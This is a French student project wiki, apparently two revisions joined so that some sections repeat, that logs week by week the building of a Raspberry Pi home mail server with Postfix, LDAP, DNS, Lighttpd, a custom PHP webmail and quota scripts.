Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:20:09Z

Tteneur : /* Semaine 17 (25/01/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
